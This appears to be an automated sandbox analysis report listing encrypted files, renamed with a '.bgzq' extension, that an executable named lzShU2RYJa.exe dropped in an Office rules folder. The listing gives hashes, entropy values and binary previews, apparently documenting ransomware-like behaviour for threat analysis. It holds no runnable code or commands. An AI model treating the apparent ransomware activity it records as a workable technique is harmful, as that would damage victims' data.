Preview:	<?xml5.:.F.i.......Y........i..I.....<..:fs...@..=....@..s..v..$fB`\|T.U.)h..-.Z.\.d@.j...@...=..3..c..d...NV74.M......i....TO..+..#..IV...g..o.y..vS...Z!!...8.....g.6..w.Zn{.x.R.\S.D3.....y..J:.2&(........N?< .kA.....F.y_Z.....'.......G......u...\..L..k.c........a3..\..54~.2SW...v.F_..?Pbm..."@....s..e...$.{....(.D.B.@....+..[ ...^..K.0..c.n. .v.H...r.....Fo.h.7..Y''1.wb..S$...F.OTt...c...KQ.b.Q.0.KF.2{.......'...Y.i1.'...g.\|:f....\...O....F...m....~\|'e}.]>@$K.......X..\...p.lY2.....v.=......R..Q)XE....S...Uz....pJ..!n..am.K.+5{.....I?.].z..k.G.(.........'.P.&..z. /A.\|....T:/.T.x%../.F.q2....(..K...FB.rL..O.....wS..e..+..o...o..-..F.\|.T..Z.._g;W...IT2..../.y......K.9...z\.0.....ZP.n.le..m:.N..Rv.w......%..].x/G.9..+.G..c.,r..?[K..h...@..E(.<U.....}..,.5.w.B..L_=~w.<.:..43..d.$...F.3.u..uK...b...)..Q+...hb%..U..!:.Q...r.t.._M..[gZPN.....^.....cV.nQ....k[..Z.t.X.....+.dA....@`..1....I..."."=W.U.......@8.u..;.....h...M.&.`L.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170003v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1029
Entropy (8bit):	7.784251795904253
Encrypted:	false
SSDEEP:	24:DY0T+lw8h5bVSkHCpolsHX8sj15VHv2+6IZ7GVbD:l0VfNW38sNv2FIZyFD
MD5:	A97F0F316D69B87684F512E979AB8D8B
SHA1:	D0CF3506038B9E89E5E14310C4C035A49109628C
SHA-256:	E16ABF65D0C7FCE49949CA7AF18301C92241E0E0184426A7AE9CEDE236F7894C
SHA-512:	CD4CAC77CB4EE8E78ED7E21E3DADAD3882D328D2565933AC3294759AB2F2B3D98EE88F886C173EF5BD3A198B08671194D61CA477A52AF73FA4F67C7FFB860C2A
Malicious:	false
Preview:	<?xml.~..\|R..v5Et....1@.[!N%db...t...9+.q1jD....~F..{..t..jE..>.4...Y.cn.(.5{.&.{.....c.B.I.'.-q.W...>.{%.F]tC.8..VE..T].25...._..;C.Q../?X..@...9.W.yK.^(M...}..G...U....-m.C.1.z".2.f3.K.D.k..g....E...?.y\.}..G.....E-..s0......{...p.%."..........).,. ...d.........0.r.a.....RD..kh.M.x.n..0js^.7`.L.di....TB.U..pae..a.._..'.\/.\|\|..Z]..........t4.........w..........F.4....k.e..)...{.?........[.....^U....D.\m..F..IQ..GT....T...\|x..F...z6...\.pL......a... ...^..m#...L.,...6l.........Bl..Z.\|&.p....C..6.;.....(....[M[c.su.}...e..Us...(...c...R6]V.K......}-..}r....E....5....G....}c..SVA.3.P.f.E.@a.....GJ....P..X.MV..y...Z.L.E1...>...Ev..6e....6.h,Em}......C\g../. .X.....s..).,....zo..jV4.b..S...37..6E..k..~...<..l.P./_.C..7..^.E.....K7..b.\.VV..c....X.,....P..A....;R....fOf.u..w.cl..B:d...Z..QVIE0.>m\|4=...hG.)...[L.'f.;k9...^..n$..}K.,.......e........=...$E...9.j6.......xANe......-.........]@.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170005v2.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.786046924124611
Encrypted:	false
SSDEEP:	24:lCY+sSgOvsOM9xWBUKbmd58MupnXC6/D9EkuOkZSVbD:YPgasOM9aUhd5upXT2OGSFD
MD5:	ACE033BDEC182F80E32BA7054E9DB8FB
SHA1:	5B711D204683DE90CD4D27E24B33CA314E3DDE6D
SHA-256:	17FF741CD5D44C63E006BB3BB910FFAE2A01B9E24B7EB0AD4237144AD6191E83
SHA-512:	AE1BD9A35C38C492AFBA316B6FAABC0B772144964BE0D4949C70212B71B2AAC4CDB073C59289CD5BB7AFF299F44CDC1C9B175F4BE4406DD76BF8FAB66156D850
Malicious:	false
Preview:	<?xml;.:..?z.{.2...z.u....b.gc..j_#...@..j.].c.bW./v.....T....C3....B..N<.F$FS.G.U...`S........mQ..b..e.....Q..Ki.V.kh.....l.X.`.V...H.......sEC~....,u]/s.J..K.A`.4H....f...\|...Z.r&...Z..C..E....B..........t)d...1.$(7..[..%0.PC......B..$r.=..>^.%.....H#4.$_X......\.Ri..V....m.!M.j.I..>.L....{l.\|..(......".2.[M.;......R..^.9Dq.f."0...2. sH....@..I..5.....v.@.7.&C..w..L.).A.N....@\..R.8.f..'.\|.18x_.U..........r~.6D.6......M...v...}.W[v..?R..~Z_..4.0.5...Rm.b...}7.H....W...3.}...b>..}?.l.z..`p#.-..+.G ..b;.~..C..... .:.......h./.]G.4.....#..R..?.&.Z.n.D.I=rR..D.lm..#....:.... ..>Qu.....2..N;...&............T.;....#.i..M.n.!^......e.s...f...8.0r..{.D..w!G}...(..BA...5_.R.G.D..y.y5....F.c....->..".fG..[...........>m^Z...a.18]X..at.+E...[.Z~..'...mQ.{...H..?...?..=.IUIRi......&....b.E.8....D.6.u~..h..G..%......nZ.._....\.-.....O0.%.P......X8........O..,.5;b[.a.j..S8.KA.A..a.F...G........OW...&....Z:.uD...q...c~(.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgf

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170007v5.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1415
Entropy (8bit):	7.849459400338495
Encrypted:	false
SSDEEP:	24:EsPp7eXiw5nI9E4kgYMxKc/r/uWIE/DV220aXG4gHhjIvC7vVbD:UXvaE4kgZKFE/Z22kVlIqDFD
MD5:	90D2469E6598BB4F857A0C43F890709C
SHA1:	31B537712ADAB89DBD58DBC41C9345C551ABE64A
SHA-256:	6E0A6B2CC7A2CF5480FAC7FE8EC2C3FE2197FF8D21AA679EA8B56AA47631650D
SHA-512:	4FF2C679303EC72567A0619ECF6F4F679E9DA4446AB0026143BBC73483F3E52340F62EC07FC58F5FE7CC4856934298553743BFF00125E602FE4788382725BFE4
Malicious:	false
Preview:	<?xml...w..............d....A...H.l.ga.x.<.....!(...a.=.{..d...^l.'/T.1;..1.q?%J..@....({gu8, X..ag..V._../\.........M?2.qU]e..t.'...............E...i.. v0.%....._.}?........zz.R.D..W~...=.C.)....ck.jPQ...Z......".....s2.~I...S.>.....=. 0.u..,..:.......g..0.......@...Z;..X..z.l.T....8..4.".[.n=...P...bS.3....+.....`.NI.p....k.N[......%}....g..}j..@.....o..2....V..%.-........T....m~`b.%.0..C...Y.i..eC.Y..k.6.8.O.v.(.E{.4..1t...S%z..+.-.D.5.K.Hb.LI&.I......5N.......\|2..X....a.{.f....,=..p.+@k..<U+.........>@....d.?r..>g6...,K]t-0..k........;E....s.a1H..\p..q.tW.......6...x%3q.....H.(...8.6...!...[:5v.f.d.....yc..:].q.7.f=..-UKr.h.a.\|......m..TB......8.V.:.$.%T).......~......~y..n....1.P.g. .....o.45.#&b.f.qeih`.8..b.X..V...Q.o..F..:.r.%.p`k[T.<.11.3].YpN.G..1.M.Ra...\..F5.N.F(88(~..r..exx.&aX.(. ..J..p...................7go?.i.O..0.uS.1...tq......c...(.F....Z.....A&.....cz...Y=$.0...w.I.].....\|....4]......!ZNK..:".............X.%

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170009v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.801988523847443
Encrypted:	false
SSDEEP:	24:XNF9VfpyoW/+LRMlpEcrdBFjSGaqiSsUVHRVbD:dFXMGVapPFfaqiSPxFD
MD5:	FC3CE9DF286CB645A26C747D69A3F636
SHA1:	00D8CB913B10C497C3FC185EF4265A0294D02488
SHA-256:	8DA8B1A2E056E1032D13A8B559D1635DE8303A2B9B6BD3CBD5F1DA3545D41B88
SHA-512:	E5271031F3F070203173CD2F0DBCF66393C5BE5ECD64F7F19B30BFFB43158C4554921AA50B7B7E89C716907917AB0D26541643982245A177CC3B50BA4DA78EC8
Malicious:	false
Preview:	<?xml.hSz.........'.}..Y......w....~..7.f.......rn"4.....L...\y...7.U}..-u.'...#...A...V5....1fq.dl%b(.....h".{{. /..{....W..H.y.aI.......N......:Phr.`..X..&II..A..]D\|..+0.8..#~...HD\v....1J..o.:.w%'E.'......U..k..=.......0.B........g~.RW.....\N.\|%L^dT......z.L....We[.S.b..@..f.1x`.y~...7.;2.="..riL.L/.JOt+.N......8..(?..._...r.....0....r.CX.+.)M.. ..5.=IX.O]/.T1..ZQ....\........H...w..re.i...D.mD.\|..^...F..j.p.3M..\6...N...p....X....CH5..$[h?..,..{7=....o.-..U.T.\|.u.0..<.g..#...X...Dh,.:G..t..OJ1......!^......;..&....Z..)%SL..!E....&...\"7.VA(.c..d.....}........F;....x...........H..I..).NB.B.........Ir..].].d.....Y.F..g.A.....+.G..<e........@....!.d.=x........Bo....y.}=.L.IK.b6....V...TD..v.E..8".....)..3k.eFs....s.a..K..V.8....) ..n..1...t......k&....C....'^KV..y..S.e.e.V.......g.(...I.....{.x=9.P.3#u.u...M.T....;.7.nG..H..X....b....".y.....7?j1.:4.d..j.....~^.)U..5.......D..:.1...YY.y..zfD7D...L?..2R.?.A.Ea..g....M..Z....+2VK}itkm7

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170011v2.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	7.814973185875639
Encrypted:	false
SSDEEP:	24:ITEdUjg2fDZbqWL/U4CwtTjb1Q3HMoKanOoJB79r6bqYCVbD:SjBqWrU4CS/ZQXMGbb79r5FD
MD5:	0636FF9ABB07E119DEFC522180B9FC8A
SHA1:	5A525DBF163B3F34B7A874140B1958AA2D27B7FF
SHA-256:	C502D65087FDDDB72A3769E385A1F9663D11716F6CEB066CCC29CFE872E97AAD
SHA-512:	B0FEE220A452CAF63FE030D0915AC580D4BD2D6237E79557A8DABEE449FC23D3414522CE71C5201F777C02AC998EB328391B71A77364F089143CFE90471A058F
Malicious:	false
Preview:	<?xmluv...kOf.....%...)....K....A.Md..x..~.`B..qf.q...6.....$...[h.?'g......S.k.6.E.x.[..w............H\.fJ.#]..............&}tZ..;.!.-.+.;3e..P..._H.U.E......7..K6.........~u$.........k..%..}:.u.....k.v..e...o....#`.'..~..@...:.j>....=....:..08z.7...V.J.l........p...."[[...G.L..}.rF..'F...XS....`.T;$2O.\|.XRk..A..j..".....2.2t..2.i....@................p......%}.Y......2....\..\..q=.....^.../;K..s=....).......!.vXJ)+!3.../@..5}.}......!0I.-.'N.$U.........!.s,.ck.;v.....ty.c.%..;lOj.j)..\|So_.....\|K.....\|..).Y......ie...]....AQ...@.N..`........d.<q..#S.s..s.o~...=OP-.....ND.R..:.v...\7h.DN.%...?..).J..xU...j..OZ.../....>.zl^N6....6...K..%......h.L..\|.rZ....\|,.E.H=..W.i.3.6...\|.L....H$7rp8..(.8..xk.\rM.5W.f...R..t.C1.@. ....}..0H~.i.b8..aIr......t..q.o.c.G.l8(..CjrR..%.\|..3..c.....w../..5...g.L............<.S#..)....o.h4Jft..-........L..H.......n._<..Z$.$.......#......u...l.[..X=...V...%.p=.]..4.w.e.4.-....P.a..n....C 4I..PL.............Af[

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170012v8.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1902
Entropy (8bit):	7.897617230847544
Encrypted:	false
SSDEEP:	48:XpeXfXtVVm681q1UgTbFDg6vDgO69lp5FV3sXx5OV3uQXRFD:EPte68KFDg6vDUp5XsDO9uQh9
MD5:	0C7469B5C6CB8D1A6F45F807EFD1F93B
SHA1:	87E6B0183043255FC0C7CEC35B2EC79212E8A912
SHA-256:	E9DBA2D3D0CD93DA6FA2F4188B6ACC492EBD961175F8149BFF2E6687E79629BC
SHA-512:	B441008490070711BE8DEDCC9C2CA8388BEDC31698127DB983418CBC84B9877B6243A30200BAEE65F7D0604259BC62C4166DC0757AE2411EA25610B57385D208
Malicious:	false
Preview:	<?xml^.)".d..B{9PI.7K.....o?.c......A..\.;{.^...{.=T.2.........!..QC.+^. .K.t........."ISr......)D...3w.3.h.6U.j.\|?.v.W..>....H.....}....2D..n......w7,.@1.S......A.Q.V....Oj@v...n 9.s.\|.F..T.]...beC..,J...{..U...j....Ky.....Z.........4iG...~[p+^.>..Zf.d..+j..cRM.U...V......-...X..;D>.z..!.B#.}.W.]...9.?.8.....&...+g....p.........b.\.A@.hD.^....=..0.n.6....\|)y...d.'.!...@_.p.......Up....s0vJ...~...D8Y.[2......0. &D..q..\|...d. z...V.,.w......m. .~A7.....&..^kt.Sc...qf.?R.Aj..2..Y.......W......( ......._...h..S_1...<..u.......A..@..W..a)..U......hC.8. v9...@.....H9K......T.%7........X.o.....i..J_#.KKU#.dD..SjH..v.DP.>...s~..U....j.D..3~.()...j...3..-.._?....n'...$f...L..v%>.Vj........%.').S.hD.%... .8}.v.>.j./L\9?..V.`B.6..T.e.v+....[...6a..{..X'..;G..K${.+..G.t.=Z......we.p+0KsaJ..t.2....h>.a.gm.t.:;..+.y,...7.....)..LT...M... ..TDM.KR.%D.f.BY.!..x...V.\.V>.....;S$.f.....>x..hFl....h..........u..!...l&.$.f......*..j.%..........B.\|.U.8

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170013v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	712
Entropy (8bit):	7.717234258876749
Encrypted:	false
SSDEEP:	12:oL6kkJCfnGrpnOsELTvNdjNAl7AcKydQ/JwpBaIMPjVcii9a:oL6khGr4xjNdBz6QqBSVbD
MD5:	4C868809D58DB55CE6C319DBB7047A41
SHA1:	31F6C39F4168E755FD1CDDD65452E929D4499C4F
SHA-256:	20447FE4CE66A3980DEC68EC359E25B4A6F9B110F56215883BD907200D6E3ADA
SHA-512:	FCF0653A65653296A193C2CED0D1AE5EF8FC2ADDC64D5F95E925A80677BF719119DC9A1D42ACC4ECC34806B3438AF00A945C16D107E578B1ADE83F39512AF8AA
Malicious:	false
Preview:	<?xml....).+k...).%,...Q....T...i0......CLB...........Ln...8YH....:..4e7....`.......=...4..`xv..T5.&c.\|U..U.Zw..$.G.>.s...Q.....<~..e.'R.R<..x...e....{)....Q.F.^e....C9h.#.P.o..'g.2.....%[}P.....!.i^.iO.!.\|..P.]..qZ..q..%B.e..6/...J=`..w.o..;..p.......C?-1..Er..(`T....i..U...@.A9qC.....w{rh..BPtQ.\.....z........t.#...9oTt7.#.k......m.).@q...Y...G.....a..M......P.......3.._..r+F...n..w..... .b/X...O........3I{..(..~..;.V.2XG.....+\KT.K..\|...{.Z.=....4.iKP[..9. [..w.Q..z...F.........L:."......t,\:.h....d....q.O7..v..=....R.j..J.4.m......H...K...O..l"...9=.....}.r;D..;..C.U.......{W!$.e.'..b..i....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170014v4.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.886387350580584
Encrypted:	false
SSDEEP:	48:urGJ7aPKOkWfQ+Jo29j2PgAsauz8lZ1byUjOkgmn+eK6zZ1DgSFD:urpiOkWo+h0gApwUjTgm+UDcS9
MD5:	76648B29305D834F648D9BBE484A1BB3
SHA1:	D7A8000E86BC69BCE627AA4E05C95BF12204212C
SHA-256:	178AA56EDE6D40CDB1A64BF497748659A2D5CF0719578EC20280CD490724819B
SHA-512:	BA36B5D83F721E1D569710316B316E33394DF440A880AE3F5C39C40717B5BB9ED6CFCDCF3A7745D8630013B48E7A9824830F01B56C557BB9B46FBA1482B00321
Malicious:	false
Preview:	<?xml.b.o{..e.0..,....>.I.aD..KPzr.2.1.N.."..}w....e..;a...........;...R..vcN..1...n...;>g..._..n...w..Gn...........t..~"w.q.(...6/.z...?.......x...:... .KM)6............o.<~N.};.:...Rj..Q.B..!...Y.=v..'U.\|.M.vJ...g..KC............&?p.....{......qz{.'._$_.]r.x!ky._K..!..$..[.A\.&....ZP........Ex.%..OI.cL....BW.'...~.-..;%.3..r-...2...aE...q......yf^X..^S..e...R..bS...\Y;..~../...\...:.._....B...W.!@..{...ZqD.Q...mdyF-.Wy.>...!.f..\..&..............!.%.=.PU....z....I.>.2rM>C..... ...._..Gz....+Cb.>d.\|.i...vi.W.vp . ......D...L.4.].\HU..uw..LR@...'.>...6..K.r..Fc#...{N..S....q.2H.Z.n.h.....[...p..$BDtM.'..xn.s.\.-.......m..).......-.`R.].0............;o......h6.5..0....E.!.,].V.....5.U5.0_..3e%.u?9."...y.....).>R..C.dC......#..u......W.Q.G...Z.]R..H.WpO.......:...F";%]...8z..D..}..j.......7..I...O...s..E...-..'...C+.`.G...h.h[v....2.g.>0.yg.....A.Y..2.:O.@...U..2.X1<....2b...;..Kk.&.;.......Z.....c......\.&...ScXE].f..x.yt

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170016v7.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2111
Entropy (8bit):	7.902162585985563
Encrypted:	false
SSDEEP:	48:Qd43XgoBTMOWc8NeEVI4gtRWOlEbZwfVYU4cysuSyFD:a4HaOWFQobZdU4cysg9
MD5:	4FDAA9469915BAAF325B336B5E800831
SHA1:	20F1DEF5DE3DBC8E12B8D785C74ABEC89DA6BB97
SHA-256:	36B127BEAB9F671ECEFEDFD1D8AAACCD3C3D8D762968BF4A969CF336E60BE874
SHA-512:	4A544F547ACF8BAE16ED79C17871AB236C00A153F5DFA0ABE3D07F26CEB3CB1FB4766884E2511739589ED0B6F4854E0B6A0B326998455A6D3A036DBFB80F3FCB
Malicious:	false
Preview:	<?xmloG.s..(v.k...p....)0!..........A........]?&../.@....7..FD...l.P......+@Pe.....y.e....Z...u...#...,(....E6M...fr}.OM.<...:m...'...<..I..sGE.....~ 8.1......A..B.qacn....+..y.x..A...R..........~...u.A..]...}W...\..~..Yn....K/:.V...rW..h.V...\....2K.".....~.........acV.c..f.........<.,j7.N..8.+^........1?{..}..&.,...(z.......e.3.&...?.A\|(I,.........^!.....uDL_}."..XZLYD].NIz.Y..yttn.X..l..)..sL.3;...B.@F.......pY...-.b>.Y..d.S..89......~..n....Qo...._.x7.?T@...k`..5 `.l'./.^9..Y...T#-..fi.g..l,.6...S...0..<..$._.r...\|o.z..]...?H.............N.Sg.9.0..mQJMc$....{.Z.:.sW..?F...zj...0\|.............J\|.............U..0.1...._.Z.$7..Dk%i..W.Fxm;......o....\|N.......EYj..p.z.E.<..P....w..{u.?C..e.Z.a<qGN....0..J\|...o..,.A.h.f....tF...xa..<.G.Q.k..4...hdz...-.YV.o...../..y...E..s..D....V.P.....N...g.p.N2S......^A..L..6... m.^.$.J2........$..O{.r.....g.hT%..E..&m.n}...W...>b....D.woo..4e<..6%;.5s.I...Pm\......B....+..=..".)..0...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170019v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.855804845314276
Encrypted:	false
SSDEEP:	48:Bwz9kFOk9m4eEPEBRXSVr+1nDPo6JeAZ+9G5ODlf9+FD:Bw5kFOk9mssBRyq1n7o6cAEeAlfY9
MD5:	59A51F413D8C15B6251BC4FF3934D72E
SHA1:	514CDAB158E7E6A29CB7EEE24FE7B5F526AF8D31
SHA-256:	035BC67FF499202F1C9477B8968304716DFE61BE060F3FB9FBF630086B21C790
SHA-512:	592D5F7038A612DECF41836ACD8D1B2C72472F9C37B78278125C17D41E107EC4E2897CAB0661E6DD4200DEE5E9D3CA4CD4A1444B0C7E1F14099D34799606CD65
Malicious:	false
Preview:	<?xml.w6sX(...7FRl....x.2.\|....U.....Tq.i.m.......o.I.KC...R.o>K.V....N.I[.K..\....L..ly...2'i...P.o.. 4.y..xU.....)...j...C.;.A.d.....R..x$&J.UU./..-.....T.o..~.p........s..'.1D.97.v6t.T.@..............U(v.C....M.$..+,...ISt........u@..).v2Uw[w.V.T.....5`Lu.b5....O.....u....LI.3+.o.4...r....F%g.<..>....&.}.W..&...$.3!x..6...JO.b^......F.t?...%S.i7.r.(......`@tc@.M....g...y..W!..e.K(d.;..wMH...Y0....-tVGPnR..E.l.f.n..[..0.t0....7Rkff\d.Y..).'.)....n....t..i..K.-.l.1....d7..._.#...h..wT..Fn&`...)[T.<...[R;.;..Z$........G...)uqw...5e^.........{...\.) )LR..XD..^.f.-.Z+B...B..v.1.a..F S...AQ...b.j.f.fHR.WLluXl..1...;..\|.;.z8.+.Rs.E.VE.......+......s..bMe.)h..C..d...'.o....<i.pB..7..%.Bh.scQ..._.z.gn..s..S.. ..r.'.b/.i#.....8...W.h.9...I...LK....YV....{...K...V.....9...f.n.E....z..l.=.#..Rg..Z..'.1a.O..A.]..R..Zq.T.zKh..lGf%`...t..g.EO..\|..\..T:".<=..q...<\|uV...}..;..7..G.._e...8:d./=j!?.%..{...[..!..V.......Rf...gL.QW?......c$..U?o.]bE .-.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170021v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	7.763077064486343
Encrypted:	false
SSDEEP:	24:LrGu+FTytXIH1p5itHbmGC3FHOQ89oKYQvCILbjNbkJerPXOL7d0GQVbD:Lq1TytWpYbEAoRQvxLyJeLXuQFD
MD5:	5BA4F6FA04BDFE8EBAAB2270201819FA
SHA1:	05F9ECAFB378EB0C5B9F934884E75EDF1D87D72A
SHA-256:	1784A9F23A83DF27EA571132E60A0A6C9326B88856E74FCAF9BC88E775D48365
SHA-512:	4E5023CCC8D573A4CD871C6F77DD3B5A776E24DAB96C1C3A8010F4CBCB0071E0E21133B2384AB0AD95F3949AC5EE8EAB929A6F110991DB03B8FF58DA5CCD78F8
Malicious:	false
Preview:	<?xml...............UY...P(.a(e2~?.X..,6k6...5...Gd...`&oA7....kq..;%h.T.$....W."-.\|......)..oX.Y...rb}.4YG..{.J0%.Sp...\|.io'.E....B..eD...0.y..e.h.M...dC.........a.2.8........V.^..t&U..P.Z.G g... ...P`...=U..1,I...).J..y{=...7r.<.[.2E..... .........'..0.Guxr.<...1k...[..L.s.....\|...F\....E..H]..A..5..?k!.x`v...`...+h.t..[".X.#..2.V.y.zd..<T...~3.5.y..b.....0.l......`..N[.N-..Z..s7.7....-Q.(.q...n.W.r+.y.,.@h...a..\|>.<.?..X.$..G.~j..a..".0...../..5....Sc...<..,m...eH^.....X...^.9..t..z...fhl..O......^.G`-...h.,OY.T.q.c...$......_ .....,.<...~..H2..2..`xn..j....F.R.. ....Zp.=..Y..i........{.,..bd...S..s.q..k#A.}.e....>......IM^.c.....-c.Y..O.........d..T.<%.lD.......~z.d......~W..........;.?.4.-b6...6.......E..]1.U...8B.. $..Pim.+l.a.z.D.....x....?....../P.a..q.C......[..~..q.,../.......l.&...L@..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170022v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	7.8090981973014895
Encrypted:	false
SSDEEP:	24:9ozL0Rfa0V0nD/0jtUbQihiR+jeFimadpkH+bFBWgBVbD:LRS0yz0RU8iChFimadu2BW6FD
MD5:	6BC9735A280ABA14846916B3773A39D8
SHA1:	D9147FA8FF9C54875D8799DAA6EBC3AE48AE0642
SHA-256:	866142BFFC65298FCD33B3DC1E8FDC71A83A26B967DB563345A3CA922E19B961
SHA-512:	6E5E889C3BE70DFDC62761BD949C4C35D5BE3D4881CB9C9508CA33846B93D56B4950B6EC1DFAF72526297EF4247CBD7D3B281A2710B24CA3885C89168715B100
Malicious:	false
Preview:	<?xmlW...e.H.L.......4.>....E..q.o......C.@.\|."Y.v.L.G..x:......t.......Z.....s...<R4?...&c6n..T..o.,3...'.......f..2.../.....=...M..a.E.@.Jvn..n.f..z.........#U+=..@\|/.7.......^X0.".K_.I......&f........&.....pR..._.w....^.s...}.~...9m9...#@C.W..m>..@.\.,.....%....j..l.y...Luz8.:AG2..'xe)..S...<r..v....G.....y2^...rUn...@h......\.^..A.&......U..<.58.W..`/.W.......b..0...Y.d......<........r.D..0x..}...u.}(.b.L.z7G...-........n...nF^fd.;P.......0.q?K...{....L.{...{sW....Q....LM.....K..4^.77 $..4....MA../......s%.c...w\|..g..u%V..-......+S......j.B....@.R{6..8\.d..S...K.{u.'....hA.&3.uV)KG....6A...:.....=..8w7"\|PVM..UQ8...Q....i..;}.G...H6..8-.p.6J.`.#..}.H~.lG.3.i.T3v..$.V..0.!y.[j..I.B ...l.O..h!.>~@J[.8kC..4QJv...X.....9.S...`7.%........^V*...V.....zm...~.y.Bp..H..a.d"b6.........d].....2..}.7../....a.Bi.L...0#(G.......>'...R...MV...m..-b>..2.........1itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170024v2.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2312
Entropy (8bit):	7.907963298571477
Encrypted:	false
SSDEEP:	48:PBo3V3lYbvW3McMylhjUNgoKpWBk+Gj2ZdyLZJFkkqCCx48HFVD0AFD:PBo3IbOcc3EFa6DyfKvCOjXD0A9
MD5:	B549EF5B3CDD066305D680CBDB2F80A0
SHA1:	B5C73F1523FF5CB29DF91858A88CC4B0F79509D5
SHA-256:	134CD7D5A9E34A29C3D59BAC036F81F1D42C82905F87CE8AF25B9ED98DE6D362
SHA-512:	630465002C60C8105FAB954964E65ABBF1ABF55D9DCA51B59B5BDA76F92A0D31DFEAC61D887360AD19FBFAF238CA41F6048A0BADB923BD77C915AA0CE83A7F70
Malicious:	false
Preview:	<?xml.].C?J?-.[...Q#%.u...Inl.{..u_]....X?.}..C.%!5r~.t}o...g....=M......Q.,l.:.P.d.L.I.......-.x].".%..J..^...[.]...l..D).^h..CAi!M.q..3q....K...}{..QiQ4;n.ob.........\..$,...U...:.V.>.X.WA..?.../..]C{.........;.z..Vv.K~...{....=L.cN.3}W.x...M....}...M.}%....[.b?V.O.:.._..X.f..i.T....y..X..R..yt.....3.fZ......^.Wi...........c..Ul.2...8t..o.}..^!.K ...M.t.....e..S]A....`...J..j.M..?....).....SXq.....A.wm...DDR..Z.+..cP}.u.....QZ.Q.....9p.^.f-.~....W.....{h`.T...!.SV -.....c.....x....<...........`.C...s)^L-..Xy...J.J8.1...(.9......9~.xy...vI..<. ..d.).E.T....tfG./....."Q...b...../...y.].S....o.....A....h....S....W....V.T....].].5.........t .. ......~#.q=...[....)[9A1..-.Z..fV...L...a.*?.../m..a=\.'4._.\B....k7.....p....2...Rt...h..y..uJIU.A.z..pf6..x..F.....O..Cf@Rn{kE...-.....-,..{l..F.......<I...-.@.v,.2...`)..i...=..<..aX....._.&..X:.\|.=E.......=\|;....W...%..i@.....vB.........`k...;:.+.........m'..-M$...b%.j..'G.]...Xf.$.9).O...I

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170026v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.878200250982844
Encrypted:	false
SSDEEP:	48:76QAeVzfU7BHCOmnDanvl7e5prpVp7Q+PDFD:77AeVzfU7xC/nDel+lp7Qk9
MD5:	169EAD7A5D95DFC7FEB1BB75915CB605
SHA1:	EFF6C44DD196C336B039649778CECBF9EC321206
SHA-256:	6D53656A6718438EA31EEE9B2CA4DE3CCF7E5583A09117B7FB170DF6A81759E8
SHA-512:	62760CCE75052260457FE0A7148AB2736C9212AD56059E961F09771F3E8AD738E7BD91229DFADC4B19B357D4BE869CE949376585A0E0072FE058137AF09534C7
Malicious:	false
